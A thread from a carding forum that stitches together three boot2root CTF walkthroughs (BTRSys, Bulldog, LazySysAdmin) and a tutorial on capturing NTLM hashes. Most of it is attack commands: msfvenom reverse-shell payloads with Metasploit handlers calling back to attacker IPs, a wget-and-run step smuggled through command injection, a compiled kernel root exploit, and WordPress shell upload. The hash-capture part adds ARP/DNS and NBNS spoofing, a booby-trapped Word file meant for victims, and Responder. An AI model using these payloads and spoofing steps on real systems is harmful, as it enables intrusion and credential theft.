[Guide] How to Hack the BTRSys: v2.1 VM (Boot2Root Challenge)

[Guide] How to Hack the BTRSys: v2.1 VM (Boot2Root Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the BTRSys: v2.1 VM (Boot2Root Challenge) (/Thread-Guide-How-to-Hack-the-BTRSys-v2-1-VM-Boot2Root-Challenge)

[Guide] How to Hack the BTRSys: v2.1 VM (Boot2Root Challenge) - NINZA - 05-14-2020

BTRSys is boot2root challenge developed by ‘ismailonderkaya’ in the series of BRTSys. This is an amazing lab for practice which has covered every technique.
Difficulty level: Intermediate
WalkThrough
Let’s start by finding our target. And for that use the following command.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We know our target is 192.168.0.106 so, therefore, apply nmap on it as it will help us know which ports and services are open. Use the following command:
nmap -A 192.168.0.106
1
nmap -A 192.168.0.106
[Image: 2.png?w=687&ssl=1]

Due to nmap, you can see that port 21, 22 and 80 are open with the service of FTP, SSH, and HTTP respectively. As we still have a lot to find about this, we decided to use DIRB. Dirb is web-scanner i.e. it will scan the whole web application for file/directories. It will even show the hidden files. Use the following command:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

As you can see in the above image that using dirb we found various files and directories such as robots.txt, upload, etc. but you can also see that our target web application is using WordPress, so, we can easily apply a WordPress scan using the following command which covers themes, plugins, and users:
./wpscan.rb -u

[To see content please register here]

--enumerate at --enumerate ap --enumerate u
1
./wpscan.rb -u

[To see content please register here]

--enumerate at --enumerate ap --enumerate u
[Image: 4.png?w=687&ssl=1]

As a result, we have found two users – btrisk and admin.
[Image: 5.png?w=687&ssl=1]

Now if you try to login through admin using password admin you have the access of the dashboard. And once you have that access you can execute a malicious PHP code therein to have a meterpreter session. Use the following command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
[Image: 6.png?w=687&ssl=1]

The above command will give you a php code which you have to execute. Copy the code from <?php to die(); and paste it in the template as shown below :
[Image: 7.png?w=687&ssl=1]

Once the code is uploaded, execute it through URL as shown :
192.168.0.106/wordpress/wp-content/themes/twentyfourteen/404.php
1
192.168.0.106/wordpress/wp-content/themes/twentyfourteen/404.php
[Image: 8.png?w=687&ssl=1]

Before executing the above URL, make sure that your meterpreter handler is active. And to do so; go to Metasploit and type the following:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 4444
exploit
Once the handler is active and the URL is executed, you will have your session. Let’s check the system’s information which we have entered and for this type:
sysinfo
1
sysinfo
[Image: 9.png?w=687&ssl=1]

Now let’s get into the shell by simply typing:
shell
1
shell
[Image: 10.png?w=687&ssl=1]

Through shell, we came to know that Ubuntu’s version is 16.04.2 and fortunately there is exploit in exploit-db for this version of Ubuntu. Download this exploit.
[Image: 12.png?w=687&ssl=1]

This exploit will help you to have achieved privilege escalation so that you can directly access root. Once the exploit is downloaded, we need to compile it and for that type:
gcc 41458.c -o rootshell
1
gcc 41458.c -o rootshell

Now that the exploit has been compiled, upload it in the /tmp directory. For that, you will need to go to /tmp directory. Use the following commands:
cd /tmp
upload /root/Desktop/rootshell .
1
2
cd /tmp
upload /root/Desktop/rootshell .
[Image: 14.png?w=687&ssl=1]

Now go to shell>/tmp and give the permission to the exploit root shell and execute it. Use the following commands:
shell
cd /tmp
chmod 777 rootshell
./rootshell
1
2
3
4
shell
cd /tmp
chmod 777 rootshell
./rootshell
And to confirm use the following command:
whoami
1
whoami
[Image: 15.png?w=687&ssl=1]

HURRAY!!!! We are in the root. And so our Boot2Root challenge is complete.

Hello friends! Today we are going to take another CTF challenge known as Bulldog. The credit for making this vm machine goes to “Nick Frichette” and it is another Boot2root challenge. Our goal is to get into root directory and see the congratulatory message. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
The target holds 192.168.1.158 as network IP; now using nmap lets find out open ports.
nmap -sV 192.168.1.158
[Image: 1.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on the web page. So we use dirb to find the directories for more information.
dirb

[To see content please register here]

We find quite a few directories, we open

[To see content please register here]

for information. We didn’t find anything on the web page, so we take a look at the source code of the page. There we find a few passwords in md5 hash encryption for the respective users.
[Image: 4.png?w=687&ssl=1]

We are able to only crack the last 2 hashes and find 2 strings ‘bulldog’ and ‘bulldoglover’.
[Image: 5.png?w=687&ssl=1]

We open the admin page we found using dirb. We now use one of these hashes as password and we take the respective username.
We use username as ‘nick’ and password as ‘bulldog’.
[Image: 6.1.png?w=687&ssl=1]

After logging in we go to

[To see content please register here]

that we found using dirb. We find that it Is a command shell that allows us to execute certain commands. We can easily bypass this firewall using ‘|’ to run multiple commands.
[Image: 6.png?w=687&ssl=1]

Now we create a python payload using msfvenom.
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4444 > /var/www/html/shell.py
[Image: 7.1.png?w=687&ssl=1]

We setup our listener using metasploit for reverse shell.
msf > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.1.111
msf exploit(handler) > set lport 4444
msf exploit(handler) > set payload python/meterpreter/reverse_tcp
msf exploit(handler) > run
[Image: 7.2.png?w=687&ssl=1]

We now upload our payload to the server and execute the payload to get reverse shell.
pwd | wget

[To see content please register here]

| python shell.py
[Image: 7.png?w=687&ssl=1]

As soon as we execute our payload we get our session on metasploit.
[Image: 8.png?w=687&ssl=1]

We spawn a shell using python to execute our command.
<span style="color: #ffdc00;"><code>echo "import pty; pty.spawn("/bin/bash")'</code></span>
1
<span style="color: #ffdc00;"><code>echo "import pty; pty.spawn("/bin/bash")'</code></span>
[Image: 9.png?w=687&ssl=1]

Looking through we find a file customPermissionApp in /home/bulldogadmin/.hiddendirectory/.
We use strings command to take a look at the strings inside customPermissionApp.
strings customPermissionApp
[Image: 10.png?w=687&ssl=1]

We find a string called SUPERultHimatePASHSWORDyouHCANTget, we remove ‘H’ from the string and use this as our password to get access as root.
sudo su
Then we move to root folder inside the root folder we find a file called ‘congrats.txt’. When we open the file we are greeted by a message congratulating us for the completion of the VM challenge
[Image: 11.png?w=687&ssl=1]

Today we are solving the LazySysAdmin: 1 machine from VulnHub. The credit for making this VM machine goes to “Togie Mcdogie” and it is another boot2root challenge where we have to root the server and find the flag to complete the challenge. You can get this VM from

[To see content please register here]

).
Difficulty Level: Beginner-Intermediate
Table of Content
Scanning

Open ports and Running services (Nmap)

Enumeration

SMB share folder enumeration
Credential harvesting

Exploitation

Login into WordPress
WordPress shell upload (Metasploit)

Privilege Escalation

Sudo rights

Capture proof.txt

Let’s Breach!!!
Scanning
Let us start form getting to know the IP of VM and as you can see in the screenshot below it is 192.168.1.16.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Time to scan the Target’s IP with Nmap. And if you refer the screenshot, we found the host has Samba; it has MySQL. It even has InspIRCd along with the usual http and ssh services.
nmap -p- -sV 192.168.1.16
1
nmap -p- -sV 192.168.1.16
[Image: 2.png?w=687&ssl=1]

Enumeration
As we have port 139 and port 445 is open, so we use smbclient: smbclient is a client that can ‘talk’ to an SMB/CIFS server) to look for the shared disk. Its operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.
As you can observe with the help of smbclient we are able to view the shares of the machine. Moreover, we can use smbclient for sharing the file in the network. Here we are able to login successfully using anonymous login and now we can access the ‘share$’ drive.
In ‘share$’ we found WordPress folder as well as three txt files named deets.txt, robots.txt and todolist.txt.
smbclient -L 192.168.1.16
smbclient '\\192.168.1.16\share$'
get deets.txt
get todolist.txt
1
2
3
4
smbclient -L 192.168.1.16
smbclient '\\192.168.1.16\share$'
get deets.txt
get todolist.txt
[Image: 3.png?w=687&ssl=1]

Looking into ‘deets.txt’ we get a password:12345. Great! But as of now, we are not sure this password could belong to a user or root.
cat deets.txt
cat todolist.txt
1
2
cat deets.txt
cat todolist.txt
[Image: 4.png?w=687&ssl=1]

Looking further into the ‘WordPress’ folder that we have found earlier, we found the wp-config.php file. Let’s download it.
cd wordpress\
get wp-config.php
1
2
cd wordpress\
get wp-config.php
[Image: 5.png?w=687&ssl=1]

In the wp-config.php file, we find the username and password for WordPress login.
Username: Admin
Password: TogieMYSQL12345^^
1
2
Username: Admin
Password: TogieMYSQL12345^^
[Image: 6.png?w=687&ssl=1]

Now as we already know the WordPress page for admin from the previous list of WordPress content. We access the admin dashboard using the username and password that we found in the wp-config.php file.
[Image: 7.png?w=687&ssl=1]

Exploitation
Now that I am successfully logged in, I can upload a payload packaged as a WordPress plugin. The module used here will generate a plugin, pack the payload into it and upload it to server.
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.16
set targeturi /wordpress
set username admin
set password TogieMYSQL12345^^
exploit
1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.16
set targeturi /wordpress
set username admin
set password TogieMYSQL12345^^
exploit
[Image: 8.png?w=687&ssl=1]

Now as you can see as soon as our payload is executed, we get our meterpreter session. But to get a proper shell, we have used the python one-liner to spawn the TTY shell. Now let’s get to the /etc/passwd file.
So, what have we got inside this file here was an entry for user togie and if remembered we had a password:12345 which we have obtained from deet.txt.
[Image: 9.png?w=687&ssl=1]

Privilege Escalation
After logging in as togie by using the password then I checked the sudo rights for him where I found togie has ALL permissions as of root user as you can see in the highlighted text below. Therefore, we try to access root shell by executing the command:
sudo -l
su sudo
1
2
sudo -l
su sudo
\ [Image: 10.png?w=687&ssl=1]

Hereby going inside the root directory and listing its content we found our flag in proof.txt.
[Image: 11.png?w=687&ssl=1]

Hello friends! Today we are describing how to capture NTLM Hash in a local network. In this article, we had captured NTLM hash 4 times through various methods. Before we proceed towards attacking techniques, let’s read the brief introduction on NTLM Hash.
The acronym for word NTLM is made by combining the following terms:
NT: New technologies (Windows)
LAN: Local area network
M: Manager
In a Windows network, NT LAN Manager (NTLM) is a suite of Microsoft security protocols. It was the default for network authentication in the Windows NT 4.0 operating system that provides authentication, integrity, and confidentiality to users. The NTLMv2 is the latest version and uses the NT MD4 based one-way function. The hash lengths are 128 bits and work for a local account and Domain account.
The NTLM protocol uses one or both of two hashed password values, both of which are also stored on the server (or domain controller), and which through a lack of salting are password equivalent, meaning that if you grab the hash value from the server, you can authenticate without knowing the actual password.
For more information visit Wikipedia.org
Let’s Begin!!
Requirement
Attacker: Kali Linux
Target: Windows 10
Capture NTLMv2 hash through Sniffing
Being as attacker open etter.dns file from inside /etc/ettercap in your Kali Linux system then replace whole text by editing given below line includes attacker’s IP and save the text document.
* A 192.168.1.103
[Image: 1.png?w=687&ssl=1]

Now follow the given below step to run ettercap to start sniffing.

Application > sniffing and spoofing > ettercap
Click on sniff and Select your network interface.
Scan for the host to generate the target list.

Select the host and add to target, from the given image you read among 5 hosts I had chosen 192.168.1.101 as the target and add to target 1.
[Image: 3.png?w=687&ssl=1]

Click on MITM from the menu bar to select ARP Poisoning, a dialog box will pop-up now enable “sniff remote connects” and click OK.
[Image: 4.png?w=687&ssl=1]

After then click on plugins option from the menu bar and choose dns_spoof
By making use of dns_spoof attacker can redirect the victim’s network traffic on his network IP so that whatever victim will open on his web browser will get a redirect on the attacker’s IP.
[Image: 5.png?w=687&ssl=1]

Now load the Metasploit framework and execute the following code to make use of the http_ntlm module.
This module attempts to quietly catch NTLM/LM Challenge hashes.
use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set srvhost 192.168.1.103
msf auxiliary(http_ntlm) > set srvport 80
msf auxiliary(http_ntlm) > set uripath /
msf auxiliary(http_ntlm) > set johnpwfile /root/Desktop/
msf auxiliary(http_ntlm) > exploit
1
2
3
4
5
6
use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set srvhost 192.168.1.103
msf auxiliary(http_ntlm) > set srvport 80
msf auxiliary(http_ntlm) > set uripath /
msf auxiliary(http_ntlm) > set johnpwfile /root/Desktop/
msf auxiliary(http_ntlm) > exploit
Now according to an above trap set for the victim, this module will capture NTLM password of victim’s system when he will open any http web site on his browser which will redirect that web site on attacker’s IP.
[Image: 6.png?w=687&ssl=1]

From given below image you can notice victim is trying to browse “hackingarticles.in” on his web browser but it requires authentication which is requesting for his username and password. Now if he tries to open something else let says google.com there also it will ask username and password for authentication until the victim will not submit his username and password he cannot browse anything on his web browser.
As the victim enter username and password, the attacker at background will capture NTLM hash on his system.
[Image: 7.png?w=687&ssl=1]

Great!! The attacker had captured NTMLv2 hash, now let count detail apart from the hash value that the attacker has captured.
From the given image you can see that the attacker has captured two things more:
Username: pentest
Machine name: Desktop-UKIQM20
[Image: 8.1.png?w=687&ssl=1]

Now use john the ripper to crack the ntlmv2 hash by executing given below command
john _netntlmv2
From given below image you can confirm we had successfully retrieved the password: 123 for user: pentest by cracking ntlmv2 hash.
[Image: 8.png?w=687&ssl=1]

Capture NTLMv2 hash through capture SMB & spoof NBNS
This module provides an SMB service that can be used to capture the challenge-response password hashes of SMB client systems. Responses sent by this service have by default the configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel, L0phtcrack or John the Ripper (with jumbo patch). To exploit this, the target system must try to authenticate to this module.
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.103
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
1
2
3
4
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.103
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
Simultaneously run NBNS_response module under capture smb module.
This module forges the NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests sent to the local subnet’s broadcast address and spoof a response, redirecting the querying machine to an IP of the attacker’s choosing. Combined with auxiliary/server/capture/smb or auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on common networks. This module must be run as root and will bind to udp/137 on all interfaces.
use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 192.168.1.103
msf auxiliary(nbns_response) > set interface eth0
msf auxiliary(nbns_response) >exploit
1
2
3
4
use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 192.168.1.103
msf auxiliary(nbns_response) > set interface eth0
msf auxiliary(nbns_response) >exploit
As result, this module will generate a fake window security prompt on the victim’s system to establish a connection with another system in order to access shared folders of that system.
[Image: 10.png?w=687&ssl=1]

We had use nmap UDP and TCP port scanning command for identifying open ports and protocol and from the given image you can port 137 is open for NetBIOS network service.
[Image: 11.1.png?w=687&ssl=1]

Now, the victim will try to access share folder, therefore, he will try of connecting with him (attacker) through his network IP, given below image is a proof to demonstrate that victim is connecting attacker’s IP: 192.168.1.103.
[Image: 11.2.png?w=687&ssl=1]

When the victim will try to access a shared folder, he will get trap into fake window security alert prompt, which will ask victims to enter his username and password for accessing shared folders.
[Image: 11.png?w=687&ssl=1]

Awesome!! Once again the attacker had captured NTMLv2 hash, from the given image you can see that here also the attacker has captured two things more:
Username: pentest
Machine name: Desktop-UKIQM20
[Image: 12.png?w=687&ssl=1]

Again use john the ripper to crack the ntlmv2 hash by executing given below command
john _netntlmv2
From given below image you can confirm we had successfully retrieved the password: 123 for user: pentest by cracking ntlmv2 hash.
[Image: 13.png?w=687&ssl=1]

Capture NTLMv2 hash through capture SMB & word UNC injector
This module modifies a .docx file that will, upon opening, submit stored netNTLM credentials to a remote host. It can also create an empty docx file. If emailing the receiver needs to put the document in editing mode before the remote server will be contacted. Preview and read-only mode do not work. Verified to work with Microsoft Word 2003, 2007, 2010, and 2013.
use auxiliary/docx/word_unc_injector
msf auxiliary(word_unc_injector) > set lhost 192.168.1.103
msf auxiliary(word_unc_injector) > exploit
1
2
3
use auxiliary/docx/word_unc_injector
msf auxiliary(word_unc_injector) > set lhost 192.168.1.103
msf auxiliary(word_unc_injector) > exploit
It has created an empty docx file under given path /root/.msf4/local/
[Image: 14.1.png?w=687&ssl=1]

Now send this msf.docx file to victims and again run capture smb module in Metasploit framework as done previously.
[Image: 14.2.png?w=687&ssl=1]

From given below image you can observe that in order to get the hashes the auxiliary/server/capture/smb module has been used.
[Image: 14.3.png?w=687&ssl=1]

As the victim will open msf.docx file, again the attacker had captured NTMLv2 hash on his system. The only difference between above two attacks and in this attack is that here we had only captured NTLMv2 hash.
[Image: 14.4.png?w=687&ssl=1]

Responder
NBT-NS/LLMNR Responder Created by Laurent Gaffie which is an LLMNR, NBT-NS and MDNS poisoner with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server that can perform above all attacks. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answer to File Server Service request, which is for SMB.
This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
Now open the new terminal and type following command to download it from GitHub:
git clone

[To see content please register here]

cf Responder
1
2
git clone

[To see content please register here]

cf Responder
[Image: 14.9.png?w=687&ssl=1]

Once it gets downloaded execute the following command to run the python script.
python Responder.py –I 192.168.1.103 -I eth0
1
python Responder.py –I 192.168.1.103 -I eth0
From the specified image you can perceive that all poisoners and server services get ON.
[Image: 14.png?w=687&ssl=1]

Now again victim will try to access share folder, therefore, he will try of connecting with him (attacker) through his network IP, given below image is a proof to display that victim is connecting attacker’s IP: 192.168.1.103.
[Image: 15.png?w=687&ssl=1]

When the victim will try to access the shared folder, he will get trap into fake network error alert prompt, as shown in the given below image.
[Image: 16.png?w=687&ssl=1]

Once again the attacker had successfully captured NTMLv2 hash, from the given image you can see that here also the attacker has captured two things more:
Username: pentest
Machine name: Desktop-UKIQM20
[Image: 17.1.png?w=687&ssl=1]

It will store captured NTLM hash in a text document under given /root/Desktop/Responder/logs.
[Image: 17.png?w=687&ssl=1]